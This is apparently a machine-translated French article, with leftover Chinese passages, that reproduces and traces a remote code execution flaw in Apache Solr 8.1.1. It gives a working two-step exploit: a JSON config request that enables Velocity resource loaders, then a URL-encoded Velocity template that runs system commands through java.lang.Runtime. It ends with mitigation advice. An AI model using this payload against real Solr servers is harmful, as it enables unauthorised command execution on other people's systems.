Une vulnérabilité RCE 0day a été découverte dans Apache Solr (le numéro de vulnérabilité n'est pas donné Ici, nous reproduisons simplement l'objet et analysons l'ensemble du processus RCE pour votre référence).
Version de reproduction : 8.1.1
Pour implémenter RCE, deux étapes sont requises. Tout d'abord, confirmez que l'application a activé un certain noyau (peut être consulté dans Core Admin) et l'application dans l'instance. a activé mycore.
Envoyez d'abord les données json suivantes à son interface de configuration,
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
Visitez ensuite l'URL suivante pour implémenter RCE,
/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Analysez d'abord le premier paquet de données, car c'est pour la configuration mycore, nous définissons donc d'abord un point d'arrêt sur la fonction handleRequestBody de SolrConfigHandler qui gère la demande de configuration
Parce qu'il s'agit d'une requête POST, suivez la fonction handlePOST,
Dans handlePOST, retirer mycore d'abord La configuration actuelle est introduite dans la fonction handleCommands en même temps que la configuration que nous avons envoyée, et dans les opérations suivantes, elle entre finalement dans la fonction addNamedPlugin et crée un objet VelocityResponseWriter avec solr.resource.loader.enabled et params. ressource La valeur de loader.enabled est définie sur true et le nom de l'objet est la vitesse.
Ensuite, lors de l'envoi du deuxième paquet de données, lors de l'obtention du réponseWriter dans HttpSolrCall.call, l'objet réponseWriter sera obtenu en fonction de la valeur du paramètre wt. Lorsque wt est la vitesse, ce que nous obtenons est celui soigneusement configuré. . Après une série d'appels ultérieurs, le VelocityResponseWriter
entre enfin dans la fonction VelocityResponseWriter.write qui est la plus grave dans notre vulnérabilité. Tout d'abord, la fonction createEngine est appelée pour générer un modèle malveillant contenant custom.vrm. ->payload. engine,
Le modèle malveillant est placé dans params.resource.loader.instance et solr.resource.loader.instance des propriétés de remplacement du moteur
Il y a un point très important. ici, si vous souhaitez créer le modèle malveillant en entrant params.resource.loader.instance et solr.resource.loader.instance, vous devez vous assurer que paramsResourceLoaderEnabled et solrResourceLoaderEnabled sont True. C'est ce que fait notre premier paquet de données,
.
puis VelocityResponseWriter. getTemplate obtiendra le modèle malveillant que nous avons construit sur la base du paramètre v.template que nous avons soumis
Enfin, le modèle malveillant a été supprimé et sa méthode de fusion a été appelée,
Pour comprendre ce modèle, vous devez le comprendre Moteur de modèle Java Velocity (car ce modèle est un objet de classe org.apache.velocity.Template), la déclaration officielle est traduite comme suit,
Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
De cette déclaration, nous pouvons voir que ce modèle Le moteur a pour fonction d'exécuter du code Java.Nous avons seulement besoin de comprendre sa méthode d'écriture de base,
// 变量定义 #set($name =“velocity”) // 变量赋值 #set($foo = $bar) // 函数调用 #set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) // 循环语法 #foreach($element in $list) This is $element $velocityCount #end // 执行模板 template.merge(context, writer);
Avec l'introduction de la syntaxe de base ci-dessus, nous pouvons comprendre la méthode de construction de la charge utile. Si vous souhaitez une compréhension plus approfondie, vous pouvez vérifier Velocity. Informations Java par vous-même, nous sommes ici. Pas plus de profondeur.
Ainsi, grâce à la méthode de fusion du modèle malveillant appelé en dernier, le RCE a été provoqué avec succès et la chaîne d'appel de clé a finalement été ajoutée.
À l'heure actuelle, le patch officiel n'a pas été fourni. Il est recommandé de restreindre l'accès à Solr.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!